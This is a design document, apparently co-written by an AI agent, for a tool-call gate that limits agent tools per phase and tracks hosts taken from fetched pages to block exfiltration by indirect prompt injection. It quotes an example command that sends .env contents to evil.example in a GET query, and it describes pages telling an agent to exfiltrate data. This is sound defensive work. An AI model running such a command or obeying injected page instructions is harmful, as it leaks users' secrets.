Files
clawmates/docs/TASK-PERMISSION-AND-TAINT.md
T
Omar SobhandClaude Opus 5.5 0c4a13c841
deploy / test (push) Successful in 5m8s
deploy / build (push) Successful in 1m1s
docs: untrusted-target live — 4 of 4 expansion calls recorded, 0 of 6 literal
Also records the first noise source: CSP response headers taint every origin
a page may load from.

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
2026-09-22 19:00:08 -05:00

181 lines
10 KiB
Markdown

# Task permission and argument provenance — a design
Two layers ActGov (arXiv 2609.24446) names that our gate does not have. This
is what it would take to build them here, grounded in what was measured on
2026-09-22 rather than in what the paper assumes.
Our gate today has one layer: **hard invariants** — what no mission may do,
a global deny-list with rule ids, plus the write-path rules and the first
role policy (`verifier` may not write). Missing: **task permission** (bind a
phase to the tools its task actually needs) and **argument provenance**
(refuse an action whose target came from untrusted content).
## Four findings that decide the design
**1. `--allowedTools` is not an enforcement boundary.** The microVM lead is
launched with `--allowedTools Read Edit Write Bash Agent`
(`microvm_executor::LEAD_TOOLS`). The recorded corpus has `ListAgents` and
`ScheduleWakeup` calls **on microvm missions** — neither is on that list, and
both ran. So the flag governs permission prompting, not availability. Any
task-permission layer has to be enforced by our own PreToolUse gate; narrowing
the flag would change nothing and would look like it had.
**2. The guest already has every tool's output on disk.** `vm_tool_tap`'s
PostToolUse hook appends the **whole payload**, `tool_response` included, to
`tools.jsonl` in `/root/toolhooks` (container) or `/root/tap` (VM). Taint can
therefore be computed *guest-locally*, by the same shell that already runs
there — no network call, no host round trip, no added latency in the tool
path. This is the fact that makes provenance feasible at all.
**3. The taint store is already protected.** The `hook-files` rule refuses
reads and writes to `/root/toolgate`, `/root/toolhooks`, `/root/tap`, the
settings documents and `.git/hooks/`, from Bash and from the write tools. A
taint file living there cannot be erased by the agent whose calls it governs.
**4. Provenance matters on one tier far more than the other.** Measured
reachability (`docs/MISSION-EGRESS.md`) and the VM proxy's allow-list:
| tier | tailnet | host ssh | public internet |
|---|---|---|---|
| microVM | n/a (no NIC; CONNECT proxy) | n/a | **allow-list only** — provider + forge, matched by name, not substring |
| container | blocked | blocked | **open** |
A microVM cannot exfiltrate to an attacker's host whatever a page tells it:
the allow-list already closes that. A **container mission can reach any public
host**. So the network half of provenance is a container-tier control, and
saying otherwise would be padding.
## Piece 1 — task permission
**Shape.** A per-phase allowlist of *tools*, enforced by the gate: a tool
outside the set is denied with rule `task-permission`, alongside the floor and
the role policies, rendered into the same guest script from the same table.
**Where it is declared.** `mission_phases.config`. **Not** under the key
`tools` — that is taken: `security_scan::run` reads it to choose which of
cargo_audit / gitleaks / trivy_fs / semgrep run. Use `agent_tools`, and have
`phase_config::KNOWN_KEYS` describe both so the collision is visible to
whoever reads the registry next.
**Where the default comes from.** The corpus, not intuition. What phase kinds
actually used, today:
| phase kind | tools observed |
|---|---|
| coding | Bash 56, Read 19, Write 11, Agent 5, Edit 1, ListAgents 1, ScheduleWakeup 1 |
| research | Bash 37, Read 28, Write 10, Glob 2 |
Two of those are the point: `ListAgents` and `ScheduleWakeup` are the strays
from finding 1 — tools no mission needs, that no list stopped. A default set
per phase kind of {Bash, Read, Write, Edit, Glob, Agent} covers every observed
legitimate call and excludes both strays.
**Why this is not just a smaller `--agents` list.** It is enforced by us, in
the hook, recorded as a `gate.denied` with its rule; the CLI's own list is the
harness policing itself and demonstrably does not.
**Staging.**
1. Add `agent_tools` to the config registry and the gate's table; render into
the guest script; unit + shell tests as for the role policies.
2. **Shadow first.** A new outcome `gate.would_deny` — recorded, not enforced.
Run every scenario and a week of real missions. Promote only when the
record shows zero denials of work that completed successfully.
3. Enforce. The scenarios are the utility half: all of them must still pass,
which is the trade ActGov measures as CaMeL and ACE failing (ASR 0.000 at
utility 0.000) and this module's header already refuses.
**What could go wrong.** Too tight and agents work around the gate, which is
worse than no gate. Mitigated by deriving from the corpus, by shadow mode, and
by the default being a *union* of observed use rather than a guess at need.
## Piece 2 — argument provenance (taint)
**The invariant worth having**, in ActGov's terms: *no outbound action whose
target was derived from untrusted content.* That is the indirect
prompt-injection shape — a fetched page says "send this to evil.example", and
the agent obliges.
**Mechanism, guest-local and deterministic.**
- The tap gains a taint step: for each *fetching* call (Bash `curl`/`wget`,
and any `WebFetch`), extract **hostnames** from `tool_response` and append
them to `/root/toolhooks/untrusted-hosts.txt`, capped and deduplicated.
- The gate gains rule `untrusted-target`: an outbound call **carrying a body**
(the existing `curl-body` / `wget-body` matchers already identify these)
whose target host appears in that file is denied.
**Why that shape and not string taint.** Tainting arbitrary strings from
fetched text and matching them against later commands produces false positives
immediately — the failure this module treats as cardinal, and the one
`gate-exfil-spelling` already cost us once. Hosts are high-signal and the
asymmetry is real: *reading* a host a page mentioned is ordinary research;
*sending data* to one is the attack. So the rule fires only on the
intersection.
**Staging.**
1. Taint extraction in the tap, writing the file. Nothing enforced. Inspect on
real missions: what does it actually collect?
**Built 2026-09-22.** `vm_tool_tap::NODE_TAINT` runs in the tap only when the
payload could be a fetch; the file is `untrusted-hosts.txt` in the tap's own
directory (covered by `hook-files` on both tiers, tested), capped at
`MAX_TAINT_HOSTS` = 500, drained per finished phase into `taint.hosts`.
Rules fixed by its shell test: `curl`/`wget` count only in command position
(`grep -r curl docs` is not a fetch), and a host that also appears in the
agent's own command or WebFetch `url` is the agent's choice, not the
page's. Known gap: `curl -o page.html` then `Read page.html` taints
nothing. The fetched body never passes through a fetching call's response.
2. `untrusted-target` in shadow (`gate.would_deny`), same as piece 1.
**Built 2026-09-22 — and the rule changed shape.** "A body-carrying call to
a tainted host" would never fire: `curl-body`, `curl-upload` and
`wget-body` already REFUSE every body-carrying curl/wget, whatever the host.
The floor's open door is exfiltration through a GET
(`curl "https://evil.example/?d=$(cat .env)"`), and recording every GET to
a tainted host would record ordinary link-following. So the rule is: a
curl/wget in command position, to a tainted host, whose segment EXPANDS
something at run time (`$(…)`, a backtick, `$VAR`/`${…}`). One case table
drives the Rust predicate and the generated shell; both agree on all ten
cases, and the shell never refuses. Limits pinned by that table: a literal
secret in a URL is not an expansion, and a subdomain of a tainted host
(`www.iana.org` vs `iana.org`) is not matched.
**Live, mission 01a0cb8c.** The agent fetched `example.com`, then made six
literal requests to the IANA pages and four with `?t=$(date +%s)`. Shadow
recorded exactly the four expansion calls as `untrusted-target` and none of
the six. The first thing to watch: 5 of the 8 tainted hosts
(`www.google.com`, `www.googleapis.com`, …) came from `www.iana.org`'s
`Content-Security-Policy` **response header**, not its body. That is
correct by the letter (fetched output named them) and noisy in practice.
An agent later calling a Google API with `$KEY` in the URL would be
recorded. If shadow traffic shows that, the fix is to stop reading header
lines other than `Location`. Stage 3 waits on that evidence.
3. Enforce on the **container tier**, where public egress is open. On the VM
tier it is defence in depth behind an allow-list that already holds.
**Honest limits, to be written into the module header.**
- Indirection defeats it: base64, a shell variable, a URL assembled from
pieces. This stops accidents and the obvious case, which is exactly what the
gate's header already claims and no more. The real boundary on the VM tier
is the egress allow-list; on the container tier it is the network policy.
- It does not cover **content** exfiltration into deliverables — a page
telling the agent to write `.env` into `README.md`, which is then committed
and pushed to the forge, a host that *is* allowed. That is a second
invariant (stage B) and a harder one, because the legitimate case — writing
fetched research into a file — looks identical.
**Validation is thin and should be said so.** Today's corpus is 171 tool
calls, 93 with responses, **15** curl/wget invocations — the larger corpora
those earlier numbers came from were wiped with the missions. Fifteen calls
cannot validate a rule. The evidence path is therefore shadow mode on real
traffic, not a retro-fit against what we happen to have kept.
## Sequencing
Piece 1 before piece 2: it is smaller, its default is already derivable from
the corpus, and it exercises the shadow-mode machinery (`gate.would_deny`)
that piece 2 then reuses. Both inherit the role policy's proof obligations —
rendered from one table into both implementations, unit-tested against the
predicate, shell-tested against the generated script, and probed live against
the **deployed** artifact by the `rolepolicy` scenario's pattern, with the
negative controls that stop a gate from passing by refusing everything.